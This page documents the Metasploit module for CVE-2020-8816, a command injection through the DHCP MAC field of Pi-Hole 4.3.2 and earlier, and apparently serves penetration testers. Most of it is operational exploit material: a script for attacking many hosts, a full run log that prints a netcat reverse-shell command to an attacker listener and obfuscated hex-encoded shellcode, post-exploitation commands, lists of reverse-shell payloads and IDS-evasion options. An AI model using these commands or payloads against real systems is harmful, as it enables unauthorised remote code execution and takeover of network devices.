Pi-Hole DHCP MAC OS Command Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/http/pihole_dhcp_mac_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Pi-Hole DHCP MAC OS Command Execution
Module: exploit/unix/http/pihole_dhcp_mac_exec
Source code: modules/exploits/unix/http/pihole_dhcp_mac_exec.rb
Disclosure date: 2020-03-28
Last modification time: 2022-10-03 19:50:04 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-8816
This exploits a command execution in Pi-Hole <= 4.3.2. A new DHCP static lease is added with a MAC address which includes an RCE. Exploitation requires /opt/pihole to be first in the $PATH due to exploitation constraints. DHCP server is not required to be running.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using pihole_dhcp_mac_exec against a single host
Normally, you can use exploit/unix/http/pihole_dhcp_mac_exec this way:
msf > use exploit/unix/http/pihole_dhcp_mac_exec
msf exploit(pihole_dhcp_mac_exec) > show targets
... a list of targets ...
msf exploit(pihole_dhcp_mac_exec) > set TARGET target-id
msf exploit(pihole_dhcp_mac_exec) > show options
... show and set options ...
msf exploit(pihole_dhcp_mac_exec) > exploit
Using pihole_dhcp_mac_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your pihole_dhcp_mac_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/http/pihole_dhcp_mac_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This exploits a command execution in Pi-Hole <= 4.3.2. A new DHCP static lease is added with a MAC address which includes an RCE. DHCP server is not required to be running.
Exploitation has many constraints, outlined in the original technical writeup.
- Exploitation requires
/opt/piholeto be first in the$PATHdue to exploitation constraints. - Payload must not contain
%00 - Payload must be all capital letters
Setup
Install Pi-Hole Pi-Hole 4.3 with the following commands:
sudo git clone --depth=1 -b v4.3 https://github.com/pi-hole/pi-hole.git /etc/.pihole
# replace 'git clone' with 'git clone -b v4.3'
sudo nano /etc/.pihole/automated\ install/basic-install.sh
sudo ./basic-install.sh
Pi-Hole attempts to install the latest versions of the software. Modifying the git clone command will force it to install the old AdminLTE and Pi-Hole versions. However this will make FTL fail to install.
Answer everything with the default.
Lastly, we need to create one file which wasn't made.
sudo touch /etc/pihole/GitHubVersions
If /opt/pihole isn't in the path (for php/lighttp) because the install process wasn't 100% due
to the forcing of version 4.3, edit /etc/lighttpd/conf-available/15-fastcgi-php.conf and
add a new item to bin-environment.
"PATH" => "/opt/pihole:" + env.PATH
This will be enough to make it exploitable, however the dashboard won't fully work since some other components were installed which are too new for it to work with.
If you wish to install FTL, follow the directions.
Setup (docker)
$ cat docker-compose.yml
version: "3"
# More info at https://github.com/pi-hole/docker-pi-hole/ and https://docs.pi-hole.net/
services:
pihole:
container_name: pihole
image: pihole/pihole:4.3
ports:
# - "53:53/tcp"
# - "53:53/udp"
# - "67:67/udp"
- "80:80/tcp"
# - "443:443/tcp"
environment:
TZ: 'America/Chicago'
WEBPASSWORD: 'password123'
# Volumes store your data between container upgrades
#volumes:
# - './etc-pihole/:/etc/pihole/'
# - './etc-dnsmasq.d/:/etc/dnsmasq.d/'
dns:
- 127.0.0.1
- 1.1.1.1
# Recommended but not required (DHCP needs NET_ADMIN)
# https://github.com/pi-hole/docker-pi-hole#note-on-capabilities
cap_add:
- NET_ADMIN
restart: unless-stopped
Cleanup
This will attempt to clean entries in /etc/dnsmasq.d/04-pihole-static-dhcp.conf.
However, on failure, sudo pihole -a removestaticdhcp <MAC> can be used to remove them.
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/unix/http/pihole_dhcp_mac_exec - Do:
set rhosts - Do:
run - You should get a shell.
Options
Password
Password for the web interface. Randomly set on install. Use pihole -a -p to change/remove it.
Scenarios
Pi-Hole 4.3 with AdminLTE 4.3 on Ubuntu 18.04
msf5 > use exploit/unix/http/pihole_dhcp_mac_exec
[*] Using exploit/unix/http/pihole_dhcp_mac_exec
msf5 exploit(unix/http/pihole_dhcp_mac_exec) > set rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 exploit(unix/http/pihole_dhcp_mac_exec) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf5 exploit(unix/http/pihole_dhcp_mac_exec) > set lport 8888
lport => 8888
msf5 exploit(unix/http/pihole_dhcp_mac_exec) > set password password123
password => password123
msf5 exploit(unix/http/pihole_dhcp_mac_exec) > set verbose true
verbose => true
msf5 exploit(unix/http/pihole_dhcp_mac_exec) > run
[+] mkfifo /tmp/wvfacoc; nc 1.1.1.1 8888 0/tmp/wvfacoc 2>&1; rm /tmp/wvfacoc
[*] Started reverse TCP handler on 1.1.1.1:8888
[+] Version Detected: 4.3
[*] Using cookie: PHPSESSID=4ce3tjd269lcut95orff4a45l8;
[*] Login required, attempting login.
[*] Using token: czTyD7HbrcwZfTS7gJg4xgxSkB/CjGNlJPTUueA0ACk=
[*] Validating path with MAC: 8D540FBF0F5F
[+] System env path exploitable: /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[*] Payload MAC will be: 818CC59E2B82
[*] Shellcode: 818CC59E2B82&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("2f62696e2f6563686f202d6e6520275c7836645c7836625c7836365c7836395c7836365c7836665c7832305c7832665c7837345c7836645c7837305c7832665c7837335c7837365c7836635c7836615c7836325c7833625c7832305c7836655c7836335c7832305c7833315c7833395c7833325c7832655c7833315c7833365c7833385c7832655c7833325c7832655c7833315c7833395c7833395c7832305c7833385c7833385c7833385c7833385c7832305c7833305c7833635c7832665c7837345c7836645c7837305c7832665c7837335c7837365c7836635c7836615c7836325c7832305c7837635c7832305c7832665c7836325c7836395c7836655c7832665c7837335c7836385c7832305c7833655c7832665c7837345c7836645c7837305c7832665c7837335c7837365c7836635c7836615c7836325c7832305c7833325c7833655c7832365c7833315c7833625c7832305c7837325c7836645c7832305c7832665c7837345c7836645c7837305c7832665c7837335c7837365c7836635c7836615c783632277c7368"));'&&
[*] Sending Exploit
[*] Command shell session 1 opened (1.1.1.1:8888 -> 2.2.2.2:40226) at 2020-05-28 09:50:18 -0400
[*] Attempting to clean 8D540FBF0F5F from config
[*] Attempting to clean 818CC59E2B82 from config
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux ubuntu1804 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
Go back to menu.
Msfconsole Usage
Here is how the unix/http/pihole_dhcp_mac_exec exploit module looks in the msfconsole:
msf6 > use exploit/unix/http/pihole_dhcp_mac_exec
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(unix/http/pihole_dhcp_mac_exec) > show info
Name: Pi-Hole DHCP MAC OS Command Execution
Module: exploit/unix/http/pihole_dhcp_mac_exec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2020-03-28
Provided by:
h00die
Fran��ois Renaud-Philippon <[email protected]>
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Password for Pi-Hole interface
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the Pi-Hole Website
VHOST no HTTP server virtual host
Payload information:
Avoid: 1 characters
Description:
This exploits a command execution in Pi-Hole <= 4.3.2. A new DHCP
static lease is added with a MAC address which includes an RCE.
Exploitation requires /opt/pihole to be first in the $PATH due to
exploitation constraints. DHCP server is not required to be running.
References:
https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/
https://nvd.nist.gov/vuln/detail/CVE-2020-8816
Related modules:
exploit/linux/local/pihole_remove_commands_lpe
Module Options
This is a complete list of options available in the unix/http/pihole_dhcp_mac_exec exploit:
msf6 exploit(unix/http/pihole_dhcp_mac_exec) > show options
Module options (exploit/unix/http/pihole_dhcp_mac_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Password for Pi-Hole interface
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the Pi-Hole Website
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the unix/http/pihole_dhcp_mac_exec exploit:
msf6 exploit(unix/http/pihole_dhcp_mac_exec) > show advanced
Module advanced options (exploit/unix/http/pihole_dhcp_mac_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/http/pihole_dhcp_mac_exec module can exploit:
msf6 exploit(unix/http/pihole_dhcp_mac_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/http/pihole_dhcp_mac_exec exploit:
msf6 exploit(unix/http/pihole_dhcp_mac_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the unix/http/pihole_dhcp_mac_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/http/pihole_dhcp_mac_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- <PEER> - Could not connect to web service - no response
- <PEER> - Check URI Path, unexpected HTTP response code: <RES.CODE>
- Version Detected: <VERSION>
- <PEER> - Could not connect to the web service
- Target is not vulnerable
- Incorrect Password
- Unable to find token
- <PEER> - Could not connect to the web service
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Could not connect to web service - no response
Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:
62: begin
63: res = send_request_cgi(
64: 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
65: 'method' => 'GET'
66: )
67: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
68: fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
69:
70: # vDev (HEAD, v4.3-0-g44aff72)
71: # v4.3
72: # rubocop:disable Lint/MixedRegexpCaptureTypes
<PEER> - Check URI Path, unexpected HTTP response code: <RES.CODE>
Here is a relevant code snippet related to the "<PEER> - Check URI Path, unexpected HTTP response code: <RES.CODE>" error message:
63: res = send_request_cgi(
64: 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
65: 'method' => 'GET'
66: )
67: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
68: fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
69:
70: # vDev (HEAD, v4.3-0-g44aff72)
71: # v4.3
72: # rubocop:disable Lint/MixedRegexpCaptureTypes
73: %r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d.]+)\)?.*<b>}m =~ res.body
Version Detected: <VERSION>
Here is a relevant code snippet related to the "Version Detected: <VERSION>" error message:
75:
76: if version && Rex::Version.new(version) <= Rex::Version.new('4.3.2')
77: vprint_good("Version Detected: #{version}")
78: return CheckCode::Appears
79: else
80: vprint_bad("Version Detected: #{version}")
81: return CheckCode::Safe
82: end
83: rescue ::Rex::ConnectionError
84: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
85: end
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
79: else
80: vprint_bad("Version Detected: #{version}")
81: return CheckCode::Safe
82: end
83: rescue ::Rex::ConnectionError
84: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
85: end
86: CheckCode::Safe
87: end
88:
89: def login(cookie)
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
125: )
126: end
127:
128: def exploit
129: if check != CheckCode::Appears
130: fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
131: end
132:
133: begin
134: @macs = []
135: # get cookie
Incorrect Password
Here is a relevant code snippet related to the "Incorrect Password" error message:
152: if res && res.body.include?('Sign in to start your session')
153: res = login(cookie)
154: end
155:
156: if res && res.body.include?('Sign in to start your session')
157: fail_with(Failure::BadConfig, 'Incorrect Password')
158: end
159:
160: # <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
161: # may also include /
162: %r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
Unable to find token
Here is a relevant code snippet related to the "Unable to find token" error message:
160: # <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
161: # may also include /
162: %r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
163:
164: unless token
165: fail_with(Failure::UnexpectedReply, 'Unable to find token')
166: end
167: print_status("Using token: #{token}")
168:
169: # from the excellent writeup about the vuln:
170: # The biggest difficulty in exploiting this vulnerability is that the user input is
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
241: ].join('&')
242: )
243:
244: # entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf
245: rescue ::Rex::ConnectionError
246: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
247: end
248: end
249:
250: def on_new_session(session)
251: super
Go back to menu.
Related Pull Requests
- #15497 Merged Pull Request: Update Pi-Hole DHCP Module Side Effects
- #15279 Merged Pull Request: Pi-Hole 3.0-5.2.4 LPE (CVE-2021-29449)
- #15192 Merged Pull Request: Enforce Style/RedundantBegin for new modules
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14806 Merged Pull Request: Rubocop recently landed modules continued
- #14734 Merged Pull Request: Rubocop recently landed modules
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13727 Merged Pull Request: fix author in pihole module
- #13470 Merged Pull Request: Pi-Hole < 4.3.3 dhcp static address RCE
References
- https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/
- CVE-2020-8816
See Also
Check also the following modules related to this module:
- exploit/unix/http/pihole_blocklist_exec
- exploit/unix/http/pihole_whitelist_exec
- exploit/unix/http/cacti_filter_sqli_rce
- exploit/unix/http/contentkeeperweb_mimencode
- exploit/unix/http/ctek_skyrouter
- exploit/unix/http/dell_kace_k1000_upload
- exploit/unix/http/epmp1000_get_chart_cmd_shell
- exploit/unix/http/epmp1000_ping_cmd_shell
- exploit/unix/http/freepbx_callmenum
- exploit/unix/http/laravel_token_unserialize_exec
- exploit/unix/http/lifesize_room
- exploit/unix/http/pfsense_clickjacking
- exploit/unix/http/pfsense_diag_routes_webshell
- exploit/unix/http/pfsense_graph_injection_exec
- exploit/unix/http/pfsense_group_member_exec
- exploit/unix/http/pfsense_pfblockerng_webshell
- exploit/unix/http/quest_kace_systems_management_rce
- exploit/unix/http/schneider_electric_net55xx_encoder
- exploit/unix/http/tnftp_savefile
- exploit/unix/http/twiki_debug_plugins
- exploit/unix/http/vmturbo_vmtadmin_exec_noauth
- exploit/unix/http/xdebug_unauth_exec
- exploit/unix/http/zivif_ipcheck_exec
- auxiliary/admin/http/pihole_domains_api_exec
- exploit/linux/local/pihole_remove_commands_lpe
- auxiliary/dos/dhcp/isc_dhcpd_clientid
- exploit/unix/dhcp/bash_environment
- exploit/unix/dhcp/rhel_dhcp_client_command_injection
- exploit/unix/local/emacs_movemail
Authors
- h00die
- François Renaud-Philippon <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
